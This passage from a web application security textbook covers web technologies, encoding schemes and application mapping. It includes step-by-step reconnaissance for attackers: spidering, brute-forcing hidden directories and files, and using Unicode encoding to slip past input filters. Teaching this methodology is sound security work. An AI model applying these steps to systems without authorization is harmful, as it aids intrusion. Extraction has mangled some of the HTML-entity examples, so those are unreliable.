“id”: “8041148671”, “email”: “fkwitt@layerone.com” } The client-side script uses the JavaScript interpreter to consume the JSON response and updates the relevant part of the user interface based on its contents. A further location where you may encounter JSON data in today’s applications is as a means of encapsulating data within conventional request parameters. For example, when the user updates the details of a contact, the new information might be communicated to the server using the following request: POST /contacts HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 89 Contact={“name”:”Mike Kemp”,”id”:”8041148671”,”email”:”pikey@ clappymonkey.com”} &submit=update c03.indd 63c03.indd 63 8/19/2011 12:03:45 PM8/19/2011 12:03:45 PMStuttard c03.indd V3 - 07/22/2011 Page 64 64 Chapter 3 Web Application Technologies Same-Origin Policy The same-origin policy is a key mechanism implemented within browsers that is designed to keep content that came from different origins from interfering with each other. Basically, content received from one website is allowed to read and modify other content received from the same site but is not allowed to access content received from other sites. If the same-origin policy did not exist, and an unwitting user browsed to a malicious website, script code running on that site could access the data and functionality of any other website also visited by the user. This may enable the malicious site to perform funds transfers from the user’s online bank, read his or her web mail, or capture credit card details when the user shops online. For this reason, browsers implement restrictions to allow this type of interaction only with content that has been received from the same origin. In practice, applying this concept to the details of different web features and technologies leads to various complications and compromises. Here are some key features of the same-origin policy that you need to be aware of: A page residing on one domain can cause an arbitrary request to be made to another domain (for example, by submitting a form or loading an image). But it cannot itself process the data returned from that request. A page residing on one domain can load a script from another domain and execute this within its own context. This is because scripts are assumed to contain code, rather than data, so cross-domain access should not lead to disclosure of any sensitive information. A page residing on one domain cannot read or modify the cookies or other DOM data belonging to another domain. These features can lead to various cross-domain attacks, such as inducing user actions and capturing data. Further complications arise with browser extension technologies, which implement same-origin restrictions in different ways. These issues are discussed in detail in Chapter 13. HTML5 HTML5 is a major update to the HTML standard. HTML5 currently is still under development and is only partially implemented within browsers. From a security perspective, HTML5 is primarily of interest for the follow- ing reasons: It introduces various new tags, attributes, and APIs that can be lever- aged to deliver cross-site scripting and other attacks, as described in Chapter 12. c03.indd 64c03.indd 64 8/19/2011 12:03:45 PM8/19/2011 12:03:45 PMStuttard c03.indd V3 - 07/22/2011 Page 65 Chapter 3 Web Application Technologies 65 It modifi es the core Ajax technology, XMLHttpRequest, to enable two-way cross-domain interaction in certain situations. This can lead to new cross- domain attacks, as described in Chapter 13. It introduces new mechanisms for client-side data storage, which can lead to user privacy issues, and new categories of attack such as client-side SQL injection, as described in Chapter 13. “Web 2.0” This buzzword has become fashionable in recent years as a rather loose and nebulous name for a range of related trends in web applications, including the following: Heavy use of Ajax for performing asynchronous, behind-the-scenes requests Increased cross-domain integration using various techniques Use of new technologies on the client side, including XML, JSON, and Flex More prominent functionality supporting user-generated content, infor- mation sharing, and interaction As with all changes in technology, these trends present new opportunities for security vulnerabilities to arise. However, they do not defi ne a clear subset of web application security issues in general. The vulnerabilities that occur in these contexts are largely the same as, or closely derived from, types of vulner- abilities that preceded these trends. In general, talking about “Web 2.0 Security” usually represents a category mistake that does not facilitate clear thinking about the issues that matter. Browser Extension Technologies Going beyond the capabilities of JavaScript, some web applications employ browser extension technologies that use custom code to extend the browser’s built-in capabilities in arbitrary ways. These components may be deployed as bytecode that is executed by a suitable browser plug-in or may involve installing native executables onto the client computer itself. The thick-client technologies you are likely to encounter when attacking web applications are Java applets ActiveX controls Flash objects Silverlight objects These technologies are described in detail in Chapter 5. c03.indd 65c03.indd 65 8/19/2011 12:03:45 PM8/19/2011 12:03:45 PMStuttard c03.indd V3 - 07/22/2011 Page 66 66 Chapter 3 Web Application Technologies State and Sessions The technologies described so far enable the server and client components of a web application to exchange and process data in numerous ways. To imple- ment most kinds of useful functionality, however, applications need to track the state of each user’s interaction with the application across multiple requests. For example, a shopping application may allow users to browse a product catalog, add items to a cart, view and update the cart contents, proceed to checkout, and provide personal and payment details. To make this kind of functionality possible, the application must maintain a set of stateful data generated by the user’s actions across several requests. This data normally is held within a server-side structure called a session. When a user performs an action, such as adding an item to her shopping cart, the server- side application updates the relevant details within the user’s session. When the user later views the contents of her cart, data from the session is used to return the correct information to the user. In some applications, state information is stored on the client component rather than the server. The current set of data is passed to the client in each server response and is sent back to the server in each client request. Of course, because the user may modify any data transmitted via the client component, applications need to protect themselves from attackers who may change this state information in an attempt to interfere with the application’s logic. The ASP.NET platform makes use of a hidden form fi eld called ViewState to store state information about the user’s web interface and thereby reduce overhead on the server. By default, the contents of the ViewState include a keyed hash to prevent tampering. Because the HTTP protocol is itself stateless, most applications need a way to reidentify individual users across multiple requests for the correct set of state data to be used to process each request. Normally this is achieved by issuing each user a token that uniquely identifi es that user’s session. These tokens may be transmitted using any type of request parameter, but most applications use HTTP cookies. Several kinds of vulnerabilities arise in relation to session han- dling, as described in detail in Chapter 7. Encoding Schemes Web applications employ several different encoding schemes for their data. Both the HTTP protocol and the HTML language are historically text-based, and dif- ferent encoding schemes have been devised to ensure that these mechanisms can safely handle unusual characters and binary data. When you are attacking a web application, you will frequently need to encode data using a relevant c03.indd 66c03.indd 66 8/19/2011 12:03:46 PM8/19/2011 12:03:46 PMStuttard c03.indd V3 - 07/22/2011 Page 67 Chapter 3 Web Application Technologies 67 scheme to ensure that it is handled in the way you intend. Furthermore, in many cases you may be able to manipulate the encoding schemes an application uses to cause behavior that its designers did not intend. URL Encoding URLs are permitted to contain only the printable characters in the US-ASCII character set — that is, those whose ASCII code is in the range 0x20 to 0x7e, inclusive. Furthermore, several characters within this range are restricted because they have special meaning within the URL scheme itself or within the HTTP protocol. The URL-encoding scheme is used to encode any problematic characters within the extended ASCII character set so that they can be safely transported over HTTP. The URL-encoded form of any character is the % prefi x followed by the character’s two-digit ASCII code expressed in hexadecimal. Here are some characters that are commonly URL-encoded: %3d — = %25 — % %20 — Space %0a — New line %00 — Null byte A further encoding to be aware of is the + character, which represents a URL-encoded space (in addition to the %20 representation of a space). NOTE For the purpose of attacking web applications, you should URL- encode any of the following characters when you insert them as data into an HTTP request: space % ? & = ; + # (Of course, you will often need to use these characters with their special meaning when modifying a request — for example, to add a request parameter to the query string. In this case, they should be used in their literal form.) Unicode Encoding Unicode is a character encoding standard that is designed to support all of the world’s writing systems. It employs various encoding schemes, some of which can be used to represent unusual characters in web applications. 16-bit Unicode encoding works in a similar way to URL encoding. For transmission over HTTP, the 16-bit Unicode-encoded form of a character is c03.indd 67c03.indd 67 8/19/2011 12:03:46 PM8/19/2011 12:03:46 PMStuttard c03.indd V3 - 07/22/2011 Page 68 68 Chapter 3 Web Application Technologies the %u prefi x followed by the character’s Unicode code point expressed in hexadecimal: %u2215 — / %u00e9 — é UTF-8 is a variable-length encoding standard that employs one or more bytes to express each character. For transmission over HTTP, the UTF-8-encoded form of a multibyte character simply uses each byte expressed in hexadecimal and preceded by the % prefi x: %c2%a9 — © %e2%89%a0 — z For the purpose of attacking web applications, Unicode encoding is primarily of interest because it can sometimes be used to defeat input validation mecha- nisms. If an input fi lter blocks certain malicious expressions, but the component that subsequently processes the input understands Unicode encoding, it may be possible to bypass the fi lter using various standard and malformed Unicode encodings. HTML Encoding HTML encoding is used to represent problematic characters so that they can be safely incorporated into an HTML document. Various characters have special meaning as metacharacters within HTML and are used to defi ne a document’s structure rather than its content. To use these characters safely as part of the document’s content, it is necessary to HTML-encode them. HTML encoding defi nes numerous HTML entities to represent specifi c literal characters: " — " ' — ' & — & < — < > — > In addition, any character can be HTML-encoded using its ASCII code in deci- mal form: " — " ' — ' or by using its ASCII code in hexadecimal form (prefi xed by an x): c03.indd 68c03.indd 68 8/19/2011 12:03:46 PM8/19/2011 12:03:46 PMStuttard c03.indd V3 - 07/22/2011 Page 69 Chapter 3 Web Application Technologies 69 " — " ' — ' When you are attacking a web application, your main interest in HTML encoding is likely to be when probing for cross-site scripting vulnerabilities. If an application returns user input unmodifi ed within its responses, it is prob- ably vulnerable, whereas if dangerous characters are HTML-encoded, it may be safe. See Chapter 12 for more details on these vulnerabilities. Base64 Encoding Base64 encoding allows any binary data to be safely represented using only printable ASCII characters. It is commonly used to encode e-mail attachments for safe transmission over SMTP. It is also used to encode user credentials in basic HTTP authentication. Base64 encoding processes input data in blocks of three bytes. Each of these blocks is divided into four chunks of six bits each. Six bits of data allows for 64 different possible permutations, so each chunk can be represented using a set of 64 characters. Base64 encoding employs the following character set, which contains only printable ASCII characters: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ If the fi nal block of input data results in fewer than three chunks of output data, the output is padded with one or two = characters. For example, here is the Base64-encoded form of The Web Application Hacker’s Handbook: VGhlIFdlYiBBcHBsaWNhdGlvbiBIYWNrZXIncyBIYW5kYm9vaw== Many web applications use Base64 encoding to transmit binary data within cookies and other parameters, and even to obfuscate (that is, to hide) sensitive data to prevent trivial modifi cation. You should always look out for, and decode, any Base64 data that is issued to the client. Base64-encoded strings can often be easily recognized by their specifi c character set and the presence of padding characters at the end of the string. Hex Encoding Many applications use straightforward hexadecimal encoding when transmit- ting binary data, using ASCII characters to represent the hexadecimal block. For example, hex-encoding the username “daf” within a cookie would result in this: 646166 c03.indd 69c03.indd 69 8/19/2011 12:03:46 PM8/19/2011 12:03:46 PMStuttard c03.indd V3 - 07/22/2011 Page 70 70 Chapter 3 Web Application Technologies As with Base64, hex-encoded data is usually easy to spot. You should always attempt to decode any such data that the server sends to the client to understand its function. Remoting and Serialization Frameworks In recent years, various frameworks have evolved for creating user interfaces in which client-side code can remotely access various programmatic APIs imple- mented on the server side. This allows developers to partly abstract away from the distributed nature of web applications and write code in a manner that is closer to the paradigm of a conventional desktop application. These frameworks typically provide stub APIs for use on the client side. They also automatically handle both the remoting of these API calls to the relevant server-side functions and the serialization of any data that is passed to those functions. Examples of these kinds of remoting and serialization frameworks include the following: Flex and AMF Silverlight and WCF Java serialized objects We will discuss techniques for working with these frameworks, and the kinds of security issues that can arise, in Chapters 4 and 5. Next Steps So far, we have described the current state of web application (in)security, exam- ined the core mechanisms by which web applications can defend themselves, and taken a brief look at the key technologies employed in today’s applications. With this groundwork in place, we are now in a position to start looking at the actual practicalities of attacking web applications. In any attack, your fi rst task is to map the target application’s content and functionality to establish how it functions, how it attempts to defend itself, and what technologies it uses. The next chapter examines this mapping process in detail and shows how you can use it to obtain a deep understanding of an application’s attack surface. This knowledge will prove vital when it comes to fi nding and exploiting security fl aws within your target. c03.indd 70c03.indd 70 8/19/2011 12:03:46 PM8/19/2011 12:03:46 PMStuttard c03.indd V3 - 07/22/2011 Page 71 Chapter 3 Web Application Technologies 71 Questions Answers can be found at http://mdsec.net/wahh. 1. What is the OPTIONS method used for? 2. What are the If-Modified-Since and If-None-Match headers used for? Why might you be interested in these when attacking an application? 3. What is the signifi cance of the secure fl ag when a server sets a cookie? 4. What is the difference between the common status codes 301 and 302? 5. How does a browser interoperate with a web proxy when SSL is being used? c03.indd 71c03.indd 71 8/19/2011 12:03:46 PM8/19/2011 12:03:46 PMStuttard c03.indd V3 - 07/22/2011 Page 72 c03.indd 72c03.indd 72 8/19/2011 12:03:46 PM8/19/2011 12:03:46 PMStuttard c04.indd V3 - 07/22/2011 Page 73 73 CHAPTER 4 Mapping the Application The fi rst step in the process of attacking an application is gathering and examin- ing some key information about it to gain a better understanding of what you are up against. The mapping exercise begins by enumerating the application’s content and functionality in order to understand what the application does and how it behaves. Much of this functionality is easy to identify, but some of it may be hidden, requiring a degree of guesswork and luck to discover. After a catalog of the application’s functionality has been assembled, the principal task is to closely examine every aspect of its behavior, its core secu- rity mechanisms, and the technologies being employed (on both the client and server). This will enable you to identify the key attack surface that the application exposes and hence the most interesting areas where you should target subse- quent probing to fi nd exploitable vulnerabilities. Often the analysis exercise can uncover vulnerabilities by itself, as discussed later in the chapter. As applications get ever larger and more functional, effective mapping is a valuable skill. A seasoned expert can quickly triage whole areas of functionality, looking for classes of vulnerabilities as opposed to instances, while investing signifi cant time in testing other specifi c areas, aiming to uncover a high-risk issue. This chapter describes the practical steps you need to follow during application mapping, various techniques and tricks you can use to maximize its effective- ness, and some tools that can assist you in the process. c04.indd 73c04.indd 73 8/19/2011 12:04:40 PM8/19/2011 12:04:40 PMStuttard c04.indd V3 - 07/22/2011 Page 74 74 Chapter 4 Mapping the Application Enumerating Content and Functionality In a typical application, the majority of the content and functionality can be identifi ed via manual browsing. The basic approach is to walk through the application starting from the main initial page, following every link, and navi- gating through all multistage functions (such as user registration or password resetting). If the application contains a “site map,” this can provide a useful starting point for enumerating content. However, to perform a rigorous inspection of the enumerated content, and to obtain a comprehensive record of everything identifi ed, you must employ more advanced techniques than simple browsing. Web Spidering Various tools can perform automated spidering of websites. These tools work by requesting a web page, parsing it for links to other content, requesting these links, and continuing recursively until no new content is discovered. Building on this basic function, web application spiders attempt to achieve a higher level of coverage by also parsing HTML forms and submitting these back to the application using various preset or random values. This can enable them to walk through multistage functionality and to follow forms-based navi- gation (such as where drop-down lists are used as content menus). Some tools also parse client-side JavaScript to extract URLs pointing to further content. Numerous free tools are available that do a decent job of enumerating applica- tion content and functionality, including Burp Suite, WebScarab, Zed Attack Proxy, and CAT (see Chapter 20 for more details). TIP Many web servers contain a fi le named robots.txt in the web root that contains a list of URLs that the site does not want web spiders to visit or search engines to index. Sometimes, this fi le contains references to sensitive func- tionality, which you are certainly interested in spidering. Some spidering tools designed for attacking web applications check for the robots.txt fi le and use all URLs within it as seeds in the spidering process. In this case, the robots.txt fi le may be counterproductive to the security of the web application. This chapter uses a fi ctional application, Extreme Internet Shopping (EIS), to provide examples of common application mapping actions. Figure 4-1 shows Burp Spider running against EIS. Without logging on, it is possible to map out the /shop directory and two news articles in the /media directory. Also note that the robots.txt fi le shown in the fi gure references the directories /mdsecportal and /site-old. These are not linked from anywhere in the application and would not be indexed by a web spider that only followed links from published content. TIP Applications that employ REST-style URLs use portions of the URL fi le path to uniquely identify data and other resources used within the application c04.indd 74c04.indd 74 8/19/2011 12:04:41 PM8/19/2011 12:04:41 PMStuttard c04.indd V3 - 07/22/2011 Page 75 Chapter 4 Mapping the Application 75 (see Chapter 3 for more details). The traditional web spider’s URL-based view of the application is useful in these situations. In the EIS application, the /shop and /pub paths employ REST-style URLs, and spidering these areas eas- ily provides unique links to the items available within these paths. Figure 4-1: Mapping part of an application using Burp Spider Although it can often be effective, this kind of fully automated approach to content enumeration has some signifi cant limitations: Unusual navigation mechanisms (such as menus dynamically created and handled using complicated JavaScript code) often are not handled properly by these tools, so they may miss whole areas of an application. Links buried within compiled client-side objects such as Flash or Java applets may not be picked up by a spider. Multistage functionality often implements fi ne-grained input validation checks, which do not accept the values that may be submitted by an auto- mated tool. For example, a user registration form may contain fi elds for name, e-mail address, telephone number, and zip code. An automated c04.indd 75c04.indd 75 8/19/2011 12:04:41 PM8/19/2011 12:04:41 PMStuttard c04.indd V3 - 07/22/2011 Page 76 76 Chapter 4 Mapping the Application application spider typically submits a single test string in each editable form fi eld, and the application returns an error message saying that one or more of the items submitted were invalid. Because the spider is not intelligent enough to understand and act on this message, it does not proceed past the registration form and therefore does not discover any more content or functions accessible beyond it. Automated spiders typically use URLs as identifi ers of unique content. To avoid continuing spidering indefi nitely, they recognize when linked content has already been requested and do not request it again. However, many applications use forms-based navigation in which the same URL may return very different content and functions. For example, a bank- ing application may implement every user action via a POST request to /account.jsp and use parameters to communicate the action being per- formed. If a spider refuses to make multiple requests to this URL, it will miss most of the application’s content. Some application spiders attempt to handle this situation. For example, Burp Spider can be confi gured to individuate form submissions based on parameter names and values. However, there may still be situations where a fully automated approach is not completely effective. We discuss approaches to mapping this kind of functionality later in this chapter. Conversely to the previous point, some applications place volatile data within URLs that is not actually used to identify resources or functions (for example, parameters containing timers or random number seeds). Each page of the application may contain what appears to be a new set of URLs that the spider must request, causing it to continue running indefi nitely. Where an application uses authentication, an effective application spider must be able to handle this to access the functionality that the authen- tication protects. The spiders mentioned previously can achieve this by manually confi guring the spider either with a token for an authenticated session or with credentials to submit to the login function. However, even when this is done, it is common to fi nd that the spider’s operation breaks the authenticated session for various reasons: By following all URLs, at some point the spider will request the logout function, causing its session to break. If the spider submits invalid input to a sensitive function, the applica- tion may defensively terminate the session. If the application uses per-page tokens, the spider almost certainly will fail to handle these properly by requesting pages out of their expected sequence, probably causing the entire session to be terminated. c04.indd 76c04.indd 76 8/19/2011 12:04:41 PM8/19/2011 12:04:41 PMStuttard c04.indd V3 - 07/22/2011 Page 77 Chapter 4 Mapping the Application 77 WARNING In some applications, running even a simple web spider that parses and requests links can be extremely dangerous. For example, an applica- tion may contain administrative functionality that deletes users, shuts down a database, restarts the server, and the like. If an application-aware spider is used, great damage can be done if the spider discovers and uses sensitive functional- ity. The authors have encountered an application that included some Content Management System (CMS) functionality for editing the content of the main application. This functionality could be discovered via the site map and was not protected by any access control. If an automated spider were run against this site, it would fi nd the edit function and begin sending arbitrary data, resulting in the main website’s being defaced in real time while the spider was running. User-Directed Spidering This is a more sophisticated and controlled technique that is usually prefer- able to automated spidering. Here, the user walks through the application in the normal way using a standard browser, attempting to navigate through all the application’s functionality. As he does so, the resulting traffi c is passed through a tool combining an intercepting proxy and spider, which monitors all requests and responses. The tool builds a map of the application, incorpo- rating all the URLs visited by the browser. It also parses all the application’s responses in the same way as a normal application-aware spider and updates the site map with the content and functionality it discovers. The spiders within Burp Suite and WebScarab can be used in this way (see Chapter 20 for more information). Compared with the basic spidering approach, this technique offers numer- ous benefi ts: Where the application uses unusual or complex mechanisms for navigation, the user can follow these using a browser in the normal way. Any functions and content accessed by the user are processed by the proxy/spider tool. The user controls all data submitted to the application and can ensure that data validation requirements are met. The user can log in to the application in the usual way and ensure that the authenticated session remains active throughout the mapping process. If any action performed results in session termination, the user can log in again and continue browsing. Any dangerous functionality, such as deleteUser.jsp, is fully enumer- ated and incorporated into the proxy’s site map, because links to it will be parsed out of the application’s responses. But the user can use discretion in deciding which functions to actually request or carry out. c04.indd 77c04.indd 77 8/19/2011 12:04:41 PM8/19/2011 12:04:41 PMStuttard c04.indd V3 - 07/22/2011 Page 78 78 Chapter 4 Mapping the Application In the Extreme Internet Shopping site, previously it was impossible for the spider to index any content within /home, because this content is authenticated. Requests to /home result in this response: HTTP/1.1 302 Moved Temporarily Date: Mon, 24 Jan 2011 16:13:12 GMT Server: Apache Location: /auth/Login?ReturnURL=/home/ With user-directed spidering, the user can simply log in to the application using her browser, and the proxy/spider tool picks up the resulting session and identifi es all the additional content now available to the user. Figure 4-2 shows the EIS site map when the user has successfully authenticated to the protected areas of the application. Figure 4-2: Burp’s site map after user-guided spidering has been performed This reveals some additional resources within the home menu system. The fi gure shows a reference to a private profi le that is accessed through a JavaScript function launched with the onClick event handler: private profile c04.indd 78c04.indd 78 8/19/2011 12:04:41 PM8/19/2011 12:04:41 PMStuttard c04.indd V3 - 07/22/2011 Page 79 Chapter 4 Mapping the Application 79 A conventional web spider that simply follows links within HTML is likely to miss this type of link. Even the most advanced automated application crawlers lag way behind the numerous navigational mechanisms employed by today’s applications and browser extensions. With user-directed spidering, however, the user simply needs to follow the visible on-screen link using her browser, and the proxy/spider tool adds the resulting content to the site map. Conversely, note that the spider has successfully identifi ed the link to /core/ sitestats contained in an HTML comment, even though this link is not shown on-screen to the user. TIP In addition to the proxy/spider tools just described, another range of tools that are often useful during application mapping are the various browser extensions that can perform HTTP and HTML analysis from within the browser interface. For example, the IEWatch tool shown in Figure 4-3, which runs within Microsoft Internet Explorer, monitors all details of requests and responses, including headers, request parameters, and cookies. It analyzes every application page to display links, scripts, forms, and thick-client compo- nents. Of course, all this information can be viewed in your intercepting proxy, but having a second record of useful mapping data can only help you better understand the application and enumerate all its functionality. See Chapter 20 for more information about tools of this kind. Figure 4-3: IEWatch performing HTTP and HTML analysis from within the browser c04.indd 79c04.indd 79 8/19/2011 12:04:42 PM8/19/2011 12:04:42 PMStuttard c04.indd V3 - 07/22/2011 Page 80 80 Chapter 4 Mapping the Application HACK STEPS 1. Configure your browser to use either Burp or WebScarab as a local proxy (see Chapter 20 for specific details about how to do this if you’re unsure). 2. Browse the entire application normally, attempting to visit every link/URL you discover, submitting every form, and proceeding through all multi- step functions to completion. Try browsing with JavaScript enabled and disabled, and with cookies enabled and disabled. Many applications can handle various browser configurations, and you may reach different con- tent and code paths within the application. 3. Review the site map generated by the proxy/spider tool, and identify any application content or functions that you did not browse manually. Establish how the spider enumerated each item. For example, in Burp Spider, check the Linked From details. Using your browser, access the item manually so that the response from the server is parsed by the proxy/spi- der tool to identify any further content. Continue this step recursively until no further content or functionality is identified. 4. Optionally, tell the tool to actively spider the site using all of the already enumerated content as a starting point. To do this, first identify any URLs that are dangerous or likely to break the application session, and config- ure the spider to exclude these from its scope. Run the spider and review the results for any additional content it discovers. The site map generated by the proxy/spider tool contains a wealth of infor- mation about the target application, which will be useful later in identifying the various attack surfaces exposed by the application. Discovering Hidden Content It is common for applications to contain content and functionality that is not directly linked to or reachable from the main visible content. A common example is functionality that has been implemented for testing or debugging purposes and has never been removed. Another example arises when the application presents different functionality to different categories of users (for example, anonymous users, authenticated regular users, and administrators). Users at one privilege level who perform exhaustive spidering of the application may miss functionality that is visible to users at other levels. An attacker who discovers the functionality may be able to exploit it to elevate her privileges within the application. There are countless other cases in which interesting content and functionality may exist that the mapping techniques previously described would not identify: Backup copies of live fi les. In the case of dynamic pages, their fi le extension may have changed to one that is not mapped as executable, enabling you c04.indd 80c04.indd 80 8/19/2011 12:04:42 PM8/19/2011 12:04:42 PMStuttard c04.indd V3 - 07/22/2011 Page 81 Chapter 4 Mapping the Application 81 to review the page source for vulnerabilities that can then be exploited on the live page. Backup archives that contain a full snapshot of fi les within (or indeed outside) the web root, possibly enabling you to easily identify all content and functionality within the application. New functionality that has been deployed to the server for testing but not yet linked from the main application. Default application functionality in an off-the-shelf application that has been superfi cially hidden from the user but is still present on the server. Old versions of fi les that have not been removed from the server. In the case of dynamic pages, these may contain vulnerabilities that have been fi xed in the current version but that can still be exploited in the old version. Confi guration and include fi les containing sensitive data such as database credentials. Source fi les from which the live application’s functionality has been compiled. Comments in source code that in extreme cases may contain information such as usernames and passwords but that more likely provide information about the state of the application. Key phrases such as “test this function” or something similar are strong indicators of where to start hunting for vulnerabilities. Log fi les that may contain sensitive information such as valid usernames, session tokens, URLs visited, and actions performed. Effective discovery of hidden content requires a combination of automated and manual techniques and often relies on a degree of luck. Brute-Force Techniques Chapter 14 describes how automated techniques can be leveraged to speed up just about any attack against an application. In the present context of informa- tion gathering, automation can be used to make huge numbers of requests to the web server, attempting to guess the names or identifi ers of hidden functionality. For example, suppose that your user-directed spidering has identifi ed the following application content: http://eis/auth/Login http://eis/auth/ForgotPassword http://eis/home/ http://eis/pub/media/100/view http://eis/images/eis.gif http://eis/include/eis.css c04.indd 81c04.indd 81 8/19/2011 12:04:42 PM8/19/2011 12:04:42 PMStuttard c04.indd V3 - 07/22/2011 Page 82 82 Chapter 4 Mapping the Application The fi rst step in an automated effort to identify hidden content might involve the following requests, to locate additional directories: http://eis/About/ http://eis/abstract/ http://eis/academics/ http://eis/accessibility/ http://eis/accounts/ http://eis/action/ ... Burp Intruder can be used to iterate through a list of common directory names and capture details of the server’s responses, which can be reviewed to identify valid directories. Figure 4-4 shows Burp Intruder being confi gured to probe for common directories residing at the web root. Figure 4-4: Burp Intruder being configured to probe for common directories When the attack has been executed, clicking column headers such as “status” and “length” sorts the results accordingly, enabling you to quickly identify a list of potential further resources, as shown in Figure 4-5. Having brute-forced for directories and subdirectories, you may then want to fi nd additional pages in the application. Of particular interest is the /auth directory containing the Login resource identifi ed during the spidering pro- cess, which is likely to be a good starting point for an unauthenticated attacker. Again, you can request a series of fi les within this directory: c04.indd 82c04.indd 82 8/19/2011 12:04:42 PM8/19/2011 12:04:42 PMStuttard c04.indd V3 - 07/22/2011 Page 83 Chapter 4 Mapping the Application 83 http://eis/auth/About/ http://eis/auth/Aboutus/ http://eis/auth/AddUser/ http://eis/auth/Admin/ http://eis/auth/Administration/ http://eis/auth/Admins/ ... Figure 4-5: Burp Intruder showing the results of a directory brute-force attack Figure 4-6 shows the results of this attack, which has identifi ed several resources within the /auth directory: Login Logout Register Profile Note that the request for Profile returns the HTTP status code 302. This indicates that accessing this link without authentication redirects the user to the login page. Of further interest is that although the Login page was discov- ered during spidering, the Register page was not. It could be that this extra functionality is operational, and an attacker could register a user account on the site. c04.indd 83c04.indd 83 8/19/2011 12:04:42 PM8/19/2011 12:04:42 PMStuttard c04.indd V3 - 07/22/2011 Page 84 84 Chapter 4 Mapping the Application Figure 4-6: Burp Intruder showing the results of a file brute-force attack NOTE Do not assume that the application will respond with 200 OK if a requested resource exists and 404 Not Found if it does not. Many applica- tions handle requests for nonexistent resources in a customized way, often returning a bespoke error message and a 200 response code. Furthermore, some requests for existent resources may receive a non-200 response. The fol- lowing is a rough guide to the likely meaning of the response codes that you may encounter during a brute-force exercise looking for hidden content: 302 Found — If the redirect is to a login page, the resource may be accessible only by authenticated users. If the redirect is to an error mes- sage, this may indicate a different reason. If it is to another location, the redirect may be part of the application’s intended logic, and this should be investigated further. 400 Bad Request — The application may use a custom naming scheme for directories and fi les within URLs, which a particular request has not complied with. More likely, however, is that the wordlist you are using contains some whitespace characters or other invalid syntax. 401 Unauthorized or 403 Forbidden — This usually indicates that the requested resource exists but may not be accessed by any user, c04.indd 84c04.indd 84 8/19/2011 12:04:43 PM8/19/2011 12:04:43 PMStuttard c04.indd V3 - 07/22/2011 Page 85 Chapter 4 Mapping the Application 85 regardless of authentication status or privilege level. It often occurs when directories are requested, and you may infer that the directory exists. 500 Internal Server Error — During content discovery, this usually indicates that the application expects certain parameters to be submitted when requesting the resource. The various possible responses that may indicate the presence of interesting content mean that is diffi cult to write a fully automated script to output a list- ing of valid resources. The best approach is to capture as much information as possible about the application’s responses during the brute-force exercise and manually review it. HACK STEPS 1. Make some manual requests for known valid and invalid resources, and identify how the server handles the latter. 2. Use the site map generated through user-directed spidering as a basis for automated discovery of hidden content. 3. Make automated requests for common filenames and directories within each directory or path known to exist within the application. Use Burp Intruder or a custom script, together with wordlists of common files and directories, to quickly generate large numbers of requests. If you have iden- tified a particular way in which the application handles requests for invalid resources (such as a customized “file not found” page), configure Intruder or your script to highlight these results so that they can be ignored. 4. Capture the responses received from the server, and manually review them to identify valid resources. 5. Perform the exercise recursively as new content is discovered. Inference from Published Content Most applications employ some kind of naming scheme for their content and functionality. By inferring from the resources already identifi ed within the application, it is possible to fi ne-tune your automated enumeration exercise to increase the likelihood of discovering further hidden content. In the EIS application, note that all resources in /auth start with a capital letter. This is why the wordlist used in the fi le brute forcing in the previous section was deliberately capitalized. Furthermore, since we have already identifi ed a page called ForgotPassword in the /auth directory, we can search for similarly named items, such as the following: http://eis/auth/ResetPassword c04.indd 85c04.indd 85 8/19/2011 12:04:43 PM8/19/2011 12:04:43 PMStuttard c04.indd V3 - 07/22/2011 Page 86 86 Chapter 4 Mapping the Application Additionally, the site map created during user-directed spidering identifi ed these resources: http://eis/pub/media/100 http://eis/pub/media/117 http://eis/pub/user/11 Other numeric values in a similar range are likely to identify further resources and information. TIP Burp Intruder is highly customizable and can be used to target any por- tion of an HTTP request. Figure 4-7 shows Burp Intruder being used to per- form a brute-force attack on the fi rst half of a fi lename to make the requests: http://eis/auth/AddPassword http://eis/auth/ForgotPassword http://eis/auth/GetPassword http://eis/auth/ResetPassword http://eis/auth/RetrievePassword http://eis/auth/UpdatePassword ... Figure 4-7: Burp Intruder being used to perform a customized brute-force attack on part of a filename c04.indd 86c04.indd 86 8/19/2011 12:04:43 PM8/19/2011 12:04:43 PMStuttard c04.indd V3 - 07/22/2011 Page 87 Chapter 4 Mapping the Application 87 HACK STEPS 1. Review the results of your user-directed browsing and basic brute-force exercises. Compile lists of the names of all enumerated subdirectories, file stems, and file extensions. 2. Review these lists to identify any naming schemes in use. For example, if there are pages called AddDocument.jsp and ViewDocument.jsp, there may also be pages called EditDocument.jsp and RemoveDocument.jsp. You can often get a feel for developers’ naming habits just by reading a few examples. For example, depending on their personal style, develop- ers may be verbose (AddANewUser.asp), succinct (AddUser.asp), use abbreviations (AddUsr.asp), or even be more cryptic (AddU.asp). Getting a feel for the naming styles in use may help you guess the precise names of content you have not already identified. 3. Sometimes, the naming scheme used for different content employs identifiers such as numbers and dates, which can make inferring hidden content easy. This is most commonly encountered in the names of static resources, rather than dynamic scripts. For example, if a company’s web- site links to AnnualReport2009.pdf and AnnualReport2010.pdf, it should be a short step to identifying what the next report will be called. Somewhat incredibly, there have been notorious cases of companies placing files containing financial reports on their web servers before they were publicly announced, only to have wily journalists discover them based on the naming scheme used in earlier years. 4. Review all client-side code such as HTML and JavaScript to identify any clues about hidden server-side content. These may include HTML com- ments related to protected or unlinked functions, HTML forms with dis- abled SUBMIT elements, and the like. Often, comments are automatically generated by the software that has been used to generate web content, or by the platform on which the application is running. References to items such as server-side include files are of particular interest. These files may actually be publicly downloadable and may contain highly sensi- tive information such as database connection strings and passwords. In other cases, developers’ comments may contain all kinds of useful tidbits, such as database names, references to back-end components, SQL query strings, and so on. Thick-client components such as Java applets and ActiveX controls may also contain sensitive data that you can extract. See Chapter 15 for more ways in which the application may disclose informa- tion about itself. Continued c04.indd 87c04.indd 87 8/19/2011 12:04:43 PM8/19/2011 12:04:43 PMStuttard c04.indd V3 - 07/22/2011 Page 88 88 Chapter 4 Mapping the Application 5. Add to the lists of enumerated items any further potential names con- jectured on the basis of the items that you have discovered. Also add to the file extension list common extensions such as txt, bak, src, inc, and old, which may uncover the source to backup versions of live pages. Also add extensions associated with the development languages in use, such as .java and .cs, which may uncover source files that have been compiled into live pages. (See the tips later in this chapter for identifying technologies in use.) 6. Search for temporary files that may have been created inadvertently by developer tools and file editors. Examples include the .DS_Store file, which contains a directory index under OS X, file.php~1, which is a temporary file created when file.php is edited, and the .tmp file exten- sion that is used by numerous software tools. 7. Perform further automated 